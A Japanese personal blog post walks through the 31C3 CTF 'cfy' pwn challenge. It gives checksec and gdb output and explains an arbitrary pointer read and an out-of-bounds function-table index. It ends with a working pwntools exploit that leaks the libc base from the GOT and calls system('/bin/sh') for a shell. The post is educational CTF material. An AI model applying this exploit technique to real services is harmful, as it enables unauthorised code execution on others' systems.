ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

31C3 CTF cfy

64bit-ELFでxinetd型だった。問題としては攻撃を知っておかなければならないというよりも、システムの仕様理解していれば解けるような問題だった。ではさっそく、checksecから。

shima@chino:~/workspace/pwn_list_easy/cfy$ checksec --file cfy
[*] '/home/shima/workspace/pwn_list_easy/cfy/cfy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

実行ファイルを調べてもheapなども使われいないことから「今回はsystem(/bin/sh)を呼ぶんだろうな」ということを念頭に置きながらさっそく実行!

shima@chino:~/workspace/pwn_list_easy/cfy$ ./cfy 
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
0

Please enter your number: 113
dec: 275
hex: 0x113

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

打った文字を10進と16進で表示させるような問題だった。しかし、2) parse from pointerというのが、適当に打ってもセグフォしてよくわからなかったのでここを中心に調べてみることにした。

RAX: 0x601018 --> 0x7ffff7a81d60 (<puts>: push   r12)

   0x400789 <from_ptr+4>:    mov    QWORD PTR [rbp-0x8],rdi
   0x40078d <from_ptr+8>:    mov    rax,QWORD PTR [rbp-0x8]
   0x400791 <from_ptr+12>:   mov    rax,QWORD PTR [rax]
=> 0x400794 <from_ptr+15>:   mov    rax,QWORD PTR [rax]
   0x400797 <from_ptr+18>:   pop    rbp
   0x400798 <from_ptr+19>:   ret   

どうやら、打った文字のアドレスの中身を表示させるような仕組みになっていた。今は、puts関数のGOTアドレスを打った様子である。「ここからlibc_baseをleakさせればいいのか」とここで考えた。
また、これとは違ったバグを見つけた。

0x4008af <main+163>: shl    rax,0x4            
0x4008b3 <main+167>: add    rax,0x601080       ;rax*16 + 0x601080
0x4008b9 <main+173>: mov    rax,QWORD PTR [rax]
0x4008bc <main+176>: mov    edi,0x6010e0
0x4008c1 <main+181>: call   rax                ;rax(buf)

gdb-peda$ x/50gx 0x601080
0x601080 <parsers>:  0x000000000040073d 0x00000000004009b4
0x601090 <parsers+16>:  0x0000000000400761 0x00000000004009c3
0x6010a0 <parsers+32>:  0x0000000000400785 0x00000000004009d2
0x6010b0:  0x0000000000000000 0x0000000000000000
0x6010c0 <stdout@@GLIBC_2.2.5>:    0x00007ffff7dd4400 0x00007ffff7dd4640
0x6010d0 <completed.6972>:  0x0000000000000000 0x0000000000000000
0x6010e0 <buf>:  0x6161616161616161 0x6262626262626262
0x6010f0 <buf+16>:  0x6363636363636363 0x616161616161000a
0x601100 <buf+32>:  0x6161616161616161 0x0a61616161616161

0,1,2の番号に応じたユーザ関数を呼び出すときにユーザが入力した番号をシフトさせてその値に0x601080を足して呼び出している。ちなみに、0x601080の中身から上位のアドレスにユーザが入力した値が格納されるbufがある。
このバグを上手く利用してraxの部分をsystemにし、その第一引数のbufに/bin/shとすればshellが起動するはずである。
これらをまとめると、以下のような順番で、攻撃していく。

  1. libc_baseをnumber 2を使って、適当なライブラリ関数のGOTアドレスからleakする。

  2. systemをnumber 0 or number 1を使ってbuf+16にsetする。

  3. /bin/shをnumber 7(raxをbuf+16にする)を使ってbufにsetしてshellを起動させる。

コードにすると以下のようになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

elf = ELF('./cfy')
puts_got = elf.got['puts']

libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

conn = process('./cfy')
print "[+] connect to local\n"

def send_data(number, data):
    conn.recvuntil('3) quit\n')
    conn.send(number+'\n')
    conn.recvuntil('Please enter your number: ')
    conn.send(data+'\n')

# leak libc base
leak = ''
leak += p64(puts_got)
send_data('2', leak)

conn.recvuntil('hex: ')
libc_base  = int(conn.recv(16), 16) - puts_offset
system = libc_base + system_offset
print "libc_base:%16x" % libc_base
print "system   :%16x" % system

# set system
payload = ''
payload += p64(0xdeadbeef)   # buf
payload += p64(0xdeadbeef)   # buf+8
payload += p64(system)       # buf+16(call rax)
send_data('0', payload)

# start system(/bin/sh)
payload = ''
payload += '/bin/sh'    # buf(arg 1)
send_data('7', payload) # set call eax to buf+16

conn.interactive()

[総評]libc_baseの特定を頑張る問題